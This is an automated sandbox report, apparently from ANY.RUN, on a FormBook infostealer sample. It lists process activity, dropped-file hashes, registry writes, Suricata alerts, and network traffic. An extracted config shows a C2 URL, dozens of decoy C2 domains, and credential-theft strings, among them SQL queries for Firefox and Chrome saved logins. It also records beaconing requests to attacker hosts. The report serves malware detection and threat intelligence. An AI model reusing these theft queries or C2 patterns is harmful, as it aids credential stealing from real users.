| File name: | 17232157036.zip |
| Full analysis: | https://app.any.run/tasks/fa01c28e-8bda-4109-a35d-53abb911caf5 |
| Verdict: | Malicious activity |
| Threats: | FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus. |
| Analysis date: | May 11, 2024, 12:28:28 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v2.0 to extract, compression method=deflate |
| MD5: | B1EA2092108330D146CFD5A80DD84D83 |
| SHA1: | 96686C5153F7A7D110BC0CEAE5EB34E71F9A1CBC |
| SHA256: | 0A75FB0800F399BBCB08672BB139261EEDE4866238843D8E7F8A128CB1C97A09 |
| SSDEEP: | 24576:NZzI4n6/ckAlzbr44cCVu2guXV2d0INj13EITGDLk3VESnnGRZE0tVf:NZI4n6/ckAlzbr44cCVu2guwd0INjlE/ |
| .zip | | | ZIP compressed archive (100) |
|---|
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | 0x0009 |
| ZipCompression: | Deflated |
| ZipModifyDate: | 1980:00:00 00:00:00 |
| ZipCRC: | 0xdd2b2ef2 |
| ZipCompressedSize: | 691793 |
| ZipUncompressedSize: | 1107456 |
| ZipFileName: | 8a1b3f8696c61b5e839309a05eb20754b164f10714372524f8b469760cb743c5 |
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 328 | "C:\Program Files\Windows Media Player\wmpnscfg.exe" | C:\Program Files\Windows Media Player\wmpnscfg.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Media Player Network Sharing Service Configuration Application Exit code: 0 Version: 12.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 748 | /c del "C:\Windows\System32\svchost.exe" | C:\Windows\System32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 1120 | "C:\Windows\System32\cmd.exe" | C:\Windows\System32\cmd.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
Formbook(PID) Process(1120) cmd.exe C2www.berbarry.com/se62/ Strings (79)USERNAME LOCALAPPDATA USERPROFILE APPDATA TEMP ProgramFiles CommonProgramFiles ALLUSERSPROFILE /c copy " /c del " \Run \Policies \Explorer \Registry\User \Registry\Machine \SOFTWARE\Microsoft\Windows\CurrentVersion Office\15.0\Outlook\Profiles\Outlook\ NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ \SOFTWARE\Mozilla\Mozilla \Mozilla Username: Password: formSubmitURL usernameField encryptedUsername encryptedPassword \logins.json \signons.sqlite \Microsoft\Vault\ SELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_logins \Google\Chrome\User Data\Default\Login Data SELECT origin_url, username_value, password_value FROM logins .exe .com .scr .pif .cmd .bat ms win gdi mfc vga igfx user help config update regsvc chkdsk systray audiodg certmgr autochk taskhost colorcpl services IconCache ThumbCache Cookies SeDebugPrivilege SeShutdownPrivilege \BaseNamedObjects config.php POST HTTP/1.1 Host: Connection: close Content-Length: Cache-Control: no-cache Origin: http:// User-Agent: Mozilla Firefox/4.0 Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http:// Accept-Language: en-US Accept-Encoding: gzip, deflate
dat= f-start f-end Decoy C2 (64)wkb41961shv.com bdsxm.com renovationslandscaping.info qhsmgysm.com fetbody.com injured444.live teensfeel.us zi59wp1h.com dfrtrucking.com 16milevet.com patternzi.com homeinsectcontrolpros.com alcosa-peru.com rmicompletesolutions.co.za nnhealthhk.com fitversus.com hgxaf155.com hizlitakibin.com kjhwbk.top gokarpemed.com isthistheyearofsrt.com keescollection.net 521745.cc 9072316z.vip fukada.shop citylinechimneytrevosepa.us yigongqi.sbs telehealth.fitness seo-andorra.com roofing-companies-in-usa.bond hmnna.us motoslolo55.com bbest6.com fafalie.buzz miltonhess.com gleamhorizon.shop lupoq.xyz 465172.com gljjw.com 839laurelwood.com e-touwbrommer.site 4ast6.us jalogistic.com 1658012cc.com geenginering.com crazyestvault.com smartpremium.net kinghood.co pacificalashes.com jolssucksmade.shop powerfitfoods.com loveisactionfoundation.com blackred.bet omf.fo herendkdocsmicroviewj.com qw1so.us udioh.com ddo-constructions.com homeschoolgymnastics.com dental-implants-40961.bond foret-cineraire.net minicartoontv.xyz isowrdi443.xyz laboujeebar.com | |||||||||||||||
| 1180 | C:\Windows\Explorer.EXE | C:\Windows\explorer.exe | — | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1200 | "C:\Users\admin\Desktop\8a1b3f8696c61b5e839309a05eb20754b164f10714372524f8b469760cb743c5.exe" | C:\Windows\System32\svchost.exe | — | 8a1b3f8696c61b5e839309a05eb20754b164f10714372524f8b469760cb743c5.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Host Process for Windows Services Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3952 | "C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\AppData\Local\Temp\17232157036.zip | C:\Program Files\WinRAR\WinRAR.exe | explorer.exe | ||||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Version: 5.91.0 Modules
| |||||||||||||||
| 4092 | "C:\Users\admin\Desktop\8a1b3f8696c61b5e839309a05eb20754b164f10714372524f8b469760cb743c5.exe" | C:\Users\admin\Desktop\8a1b3f8696c61b5e839309a05eb20754b164f10714372524f8b469760cb743c5.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Version: 0.4.5.7 Modules
| |||||||||||||||
| (PID) Process: | (1180) explorer.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Action Center\Checks\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0 |
| Operation: | write | Name: | CheckSetting |
Value: 01000000D08C9DDF0115D1118C7A00C04FC297EB01000000894F96DAFC46A444B92115522D7A21A80000000002000000000010660000000100002000000040EDB2C4F4CB1D3698460B3C05480C95CB3CA8EFE84BA79CCFD4FF8166DBF232000000000E8000000002000020000000786B9CD133A4C4F54DB03A26DD9B53CD89D465CEDFE709EE349C85E89658DB04300000003EF8A64C8E7E83B458E1E30684DDBED76F15715BBF684384EB439DBBB13F27AF3FA5E57E59C81E772EB1310FDA603B344000000029617FE048DEE89DAA8069352F5AEDAAACFA28A0E9B138A0F91EFDC575D0F2D25715DF01929FDC7AEBECDE69E164EA647298BC6B6DA4AF861CFE73BAB3DBB3D1 | |||
| (PID) Process: | (3952) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (3952) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (3952) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3952) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 3 |
Value: C:\Users\admin\Desktop\phacker.zip | |||
| (PID) Process: | (3952) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 2 |
Value: C:\Users\admin\Desktop\Win7-KB3191566-x86.zip | |||
| (PID) Process: | (3952) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 1 |
Value: C:\Users\admin\Desktop\curl-8.5.0_1-win32-mingw.zip | |||
| (PID) Process: | (3952) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\17232157036.zip | |||
| (PID) Process: | (3952) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (3952) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1180 | explorer.exe | C:\Users\admin\Desktop\8a1b3f8696c61b5e839309a05eb20754b164f10714372524f8b469760cb743c5 | executable | |
MD5:55F9CC768D78FCB9CD15157720F4A060 | SHA256:8A1B3F8696C61B5E839309A05EB20754B164F10714372524F8B469760CB743C5 | |||
| 4092 | 8a1b3f8696c61b5e839309a05eb20754b164f10714372524f8b469760cb743c5.exe | C:\Users\admin\AppData\Local\Temp\buncal | text | |
MD5:ED6F296E6C0AA7426EFCBDE400328971 | SHA256:C87F0A7C5D13F3F263B172EBECA20934AED0BD55B97B814C6CF38108FB21CEAB | |||
| 4092 | 8a1b3f8696c61b5e839309a05eb20754b164f10714372524f8b469760cb743c5.exe | C:\Users\admin\AppData\Local\Temp\aut7419.tmp | binary | |
MD5:68E0608F2BAEF1CC750FEDABA0559832 | SHA256:AD8341106AE33388D96684724F5C8EABB4C8D527BF421528715E235DCC218AEC | |||
| 4092 | 8a1b3f8696c61b5e839309a05eb20754b164f10714372524f8b469760cb743c5.exe | C:\Users\admin\AppData\Local\Temp\aut73F9.tmp | binary | |
MD5:470FB3916ADF1769719B17D706CFCAC5 | SHA256:F5337E37C1913333277BB404FD01965D595E9246AFA5CD2D6E3CCE187AAC1298 | |||
| 3952 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRb3952.33229\8a1b3f8696c61b5e839309a05eb20754b164f10714372524f8b469760cb743c5 | executable | |
MD5:55F9CC768D78FCB9CD15157720F4A060 | SHA256:8A1B3F8696C61B5E839309A05EB20754B164F10714372524F8B469760CB743C5 | |||
| 1180 | explorer.exe | C:\Users\admin\Desktop\8a1b3f8696c61b5e839309a05eb20754b164f10714372524f8b469760cb743c5.exe | executable | |
MD5:55F9CC768D78FCB9CD15157720F4A060 | SHA256:8A1B3F8696C61B5E839309A05EB20754B164F10714372524F8B469760CB743C5 | |||
| 4092 | 8a1b3f8696c61b5e839309a05eb20754b164f10714372524f8b469760cb743c5.exe | C:\Users\admin\AppData\Local\Temp\plainstones | binary | |
MD5:84FBF0C9B222C96E5CFD547A6A78EEC4 | SHA256:F53ABAA369F2606996C65E4F88D9EE0F863F9615984566899687FDAA8BE81BEA | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1180 | explorer.exe | GET | 301 | 76.223.105.230:80 | http://www.isthistheyearofsrt.com/se62/?q4N=cYLMYWFC6rS+DuJukv692TuNNm74CNAaQ2GPU6/1XWdPBfZ2M8GvsgIuXy8agdVRRY6z8g==&rTXd=MLrHw | unknown | — | — | unknown |
1180 | explorer.exe | GET | 301 | 76.223.105.230:80 | http://www.rmicompletesolutions.co.za/se62/?q4N=2wNuFwDp9LiTY8R2YsKzLVyuL3Rhtsmkm4Yw2whZOXjTPkP41PhrnSaNQbwff5pmb/WgnQ==&rTXd=MLrHw | unknown | — | — | unknown |
1180 | explorer.exe | GET | 404 | 188.114.96.3:80 | http://www.gleamhorizon.shop/se62/?q4N=eckq+Rp1N1dIXuSM8N0InOpCUb236F2iEq9hQIlArCJKysS957YzfTdLKkslGK0i6xz8ig==&rTXd=MLrHw | unknown | — | — | unknown |
1180 | explorer.exe | GET | 200 | 3.33.130.190:80 | http://www.bbest6.com/se62/?q4N=hxdRAfGx31C1QrVYMhMC+omEXZ6nXG0ITBOxJ2SLlYMDSf6KY8qyDUKzvMCFHwSXTF3BXw==&rTXd=MLrHw | unknown | — | — | unknown |
1180 | explorer.exe | GET | — | 91.195.240.117:80 | http://www.pacificalashes.com/se62/?q4N=o71zqgAoBlxVxUu6fsXAHnaawPMv99FZ/x54MTpYFQgJeQIJWTrSztwdlIvIr5+JhTmH/g==&rTXd=MLrHw | unknown | — | — | unknown |
1180 | explorer.exe | GET | 403 | 185.53.177.53:80 | http://www.smartpremium.net/se62/?q4N=JmcLoNMrlUFDzbCSl17hSzug0ocjE4GhO4kkEJjh+yQkds91sIJZVhzrB9cpPtMLWGJFCQ==&rTXd=MLrHw | unknown | — | — | unknown |
1180 | explorer.exe | GET | 403 | 103.143.11.188:80 | http://www.gljjw.com/se62/?q4N=VcP1SBf4BqULT5gX9EJhGRHSn1Nj4erb7qrVhRBNWhBEs7GMt/5AZSgx29pzuhL76sBH4A==&rTXd=MLrHw | unknown | — | — | unknown |
1180 | explorer.exe | GET | 403 | 185.53.179.91:80 | http://www.roofing-companies-in-usa.bond/se62/?q4N=/mVn4Gbmv3DHotiU0kQhkAtuJXnhQD0n2vkljlfFUjGhQ/HUb+Q26pC478x8D330ECOrPA==&rTXd=MLrHw | unknown | — | — | unknown |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 224.0.0.252:5355 | — | — | — | unknown |
1088 | svchost.exe | 224.0.0.252:5355 | — | — | — | unknown |
1180 | explorer.exe | 76.223.105.230:80 | www.isthistheyearofsrt.com | AMAZON-02 | US | unknown |
1180 | explorer.exe | 49.13.77.253:80 | www.renovationslandscaping.info | Hetzner Online GmbH | DE | unknown |
1120 | cmd.exe | 49.13.77.253:80 | www.renovationslandscaping.info | Hetzner Online GmbH | DE | unknown |
1180 | explorer.exe | 188.114.96.3:80 | www.gleamhorizon.shop | CLOUDFLARENET | NL | unknown |
1180 | explorer.exe | 3.33.130.190:80 | www.bbest6.com | AMAZON-02 | US | unknown |
1180 | explorer.exe | 185.53.177.53:80 | www.smartpremium.net | Team Internet AG | DE | unknown |
Domain | IP | Reputation |
|---|---|---|
www.isthistheyearofsrt.com |
| unknown |
www.renovationslandscaping.info |
| unknown |
dns.msftncsi.com |
| shared |
www.hgxaf155.com |
| unknown |
www.gleamhorizon.shop |
| unknown |
www.fafalie.buzz |
| unknown |
www.bbest6.com |
| unknown |
www.rmicompletesolutions.co.za |
| unknown |
www.zi59wp1h.com |
| unknown |
www.smartpremium.net |
| unknown |
PID | Process | Class | Message |
|---|---|---|---|
1180 | explorer.exe | Malware Command and Control Activity Detected | ET MALWARE FormBook CnC Checkin (GET) |
— | — | Malware Command and Control Activity Detected | ET MALWARE FormBook CnC Checkin (GET) |
— | — | Malware Command and Control Activity Detected | ET MALWARE FormBook CnC Checkin (GET) |
1180 | explorer.exe | Malware Command and Control Activity Detected | ET MALWARE FormBook CnC Checkin (GET) |
1180 | explorer.exe | Malware Command and Control Activity Detected | ET MALWARE FormBook CnC Checkin (GET) |
— | — | Malware Command and Control Activity Detected | ET MALWARE FormBook CnC Checkin (GET) |
1180 | explorer.exe | Malware Command and Control Activity Detected | ET MALWARE FormBook CnC Checkin (GET) |